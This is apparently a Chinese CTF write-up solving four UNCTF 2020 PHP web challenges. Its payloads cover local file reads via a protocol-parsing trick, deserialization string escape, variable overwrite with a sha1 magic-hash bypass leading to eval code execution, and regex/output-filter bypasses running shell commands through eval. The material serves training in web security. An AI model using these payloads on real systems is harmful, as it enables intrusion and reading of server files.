比赛和考试时间有点冲突,也没有好好做题,只好结束复现一下。

easy_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>

看下代码发现过滤了大部分协议名,一开始一直以为是使用特殊编码绕过结果行不通

后来才知道考点根本不绕过。

payload:

1
2
3
4
?file=unctf.com/../../../../../flag
//不唯一
?file=():unctf.com/../../../../flag
//()里可以填任意字符除了正则过滤的几个协议

原理:当php遇到一个不认识的protocol时,会抛出一个warning,并将protocol设置为null,在protoco为null或file时,则进行本地操作。默认情况下不传协议或传入了不存在协议,会进行本地文件操作。

easyunserialize

考察点是反序列化字符逃逸

先冲简单的PHP反序列化字符逃逸了解什么是反序化逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
$res=filter(serialize($AA));

$c=unserialize($res);
echo $c->pass;

?>

利用反序列化逃逸修改pass的值。

正常的序列化结果

1
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}

s:4:"aaaa"s后面的数字表示变量的长度,php执行的时候会根据其长度读取数据,如果不符合规则则会反序列化失败。

例如

1
O:1:"A":2:{s:4:"name";s:5:"aaaa";s:4:"pass";s:6:"123456";}

将4改为5,那么则认为name的值为 aaaa",此时因为前面的”无法闭合而导致反序列化失败。

error.png

而上面的程序中存在一个替换函数,只要name中存在bb则将其替换为ccc,导致name字段的长度会增加1,我们将逃逸的字符串的长度填充成我们要反序列化的代码的话那就可以控制反序列化的结果以及类里面的变量值了。那么就可以利用这个函数来构造出想要的序列化字符串。

例如想将pass变量的序列化字符串如下

1
";s:4:"pass";s:6:"hacker";}

其中 前面的 “;是为了闭合的变量的”,保证语法正确,}的作用是序列化字符串结束的标志

上面的字符串长度为27,所以就需要27个bb来产生27个字符长度的逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
public $pass='123456';
}
$AA=new A();
var_dump(serialize($AA));
$res=filter(serialize($AA));
var_dump($res);
$c=unserialize($res);
echo $c->pass;
//echo unserialize($AA);
//";s:4:"pass";s:6:"hacker";}
?>
//结果如下 ||为对齐
/*
string(136) "O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}"||
string(163) "O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}"||;s:4:"pass";s:6:"123456";}"
hacker
*/

success.png

这里pass的值就被该称了hacker

总结:逃逸或者说被“顶”出来的payload就会被当做当前类的属性被执行。

参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这段代码的意思大致为,get方式提交一个1,之后生成一个序列化字符串并将字符串中的challenge换成easychallenge,字符长度增加4,当密码为easy时,得到flag。这题看上去与上面的例子差不多,但是构造的时候发现并不是

需要构造的属性

1
";s:4:"password";s:4:"easy";}

可以发现上面的字符串长度为29,而每替换一个challenge只能逃逸出4个字符,不能构造出29,因此这里需要再构造出一个属性,使上面的字符串的长度为4的倍数。

1
";s:8:"password";s:4:"easy";s:4:"aaaa";s:1:"a";}

上面构造出的payload长度为48因此还需要12个challenge。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class a
{
public $uname='challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";s:4:"aaaa";s:1:"a";}';
public $password="1";
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$ser=filter(serialize(new a($uname,$password)));
echo($ser);
?>
1
2
3
O:1:"a":2:{s:5:"uname";s:156:"easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";s:4:"aaaa";s:1:"a";}";s:8:"password";s:1:"1";}

//easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge 长度为156

finalpayload:

1
challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";s:4:"aaaa";s:1:"a";}

easyphp

给了提示 /source查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}
getVars();
if (isset($source)) {
highlight_file(__FILE__);
}
//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}

代码很长,但是很容易理解

fuxkSQL是将可能存在sql注入的符号转义

getvarh是将传的参数赋值

global ${$key};这里存在两个$$,所以可能存在变量覆盖

if (md5($password) === $adminPassword && sha1($verif) == $verif)

$password的md5值与adminPassword,这里可以利用变量覆盖绕过

password=111&adminPassword=md(111)

sha1($verif)==$verif弱类型比较,也很容易绕过

sha1($a)=0exxx

只要找出0e开头的字符串的sha1值为0e开头

1
2
3
4
5
6
7
8
9
<?php
for ($i5 = 0; $i5 <= 9999999999; $i5++) {
$res = '0e' . $i5;
//0e1290633704
if ($res == hash('sha1', $res)) {
print_r($res);
}
}

所以verif=0e1290633704

重点在这

1
2
3
4
5
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
  • 这段是将设置var开头,后面带1到2个数字变量的值,类似于var1=xxx或者var12=xxx 这样的
  • 由于变量覆盖的环节限制了单双引号的输入,所以这里的解法为利用php复杂变量getshell

什么是php复杂变量getshell

PHP复杂变量

{}不能被转移,其包裹的部分可当作变量
就是${phpinfo()}和{${phpinfo()}}是一样的,花括号{}只是用于区别变量边界的标识符

payload:

1
2
3
?source=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1={$_GET[1]}&var3=${$var1()}&1=phpinfo
//var1={phpinfo}
//var3=${$var1}=${phpinfo}

flag藏在phpinfo中,ctrl+f搜素flag即可

babyeval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>

看下代码

1.get 提交一个参数a

2.正则过滤,a中不能包含()

3.function($data),这个函数过滤了flag字段,所以行业不能包含flag

4.绕过上面两个后就可以执行eval()

可以使用echo配合``绕过上面的检测

1
echo `base64 f*`;

但是一般想到的应该是

1
system("cat /flag.php");

可以利用%0a绕过,%0a对应的ascii码为换行符,并且为base64格式显示,不然会被拦截

1
a=system("%0acat /f*|%20base64");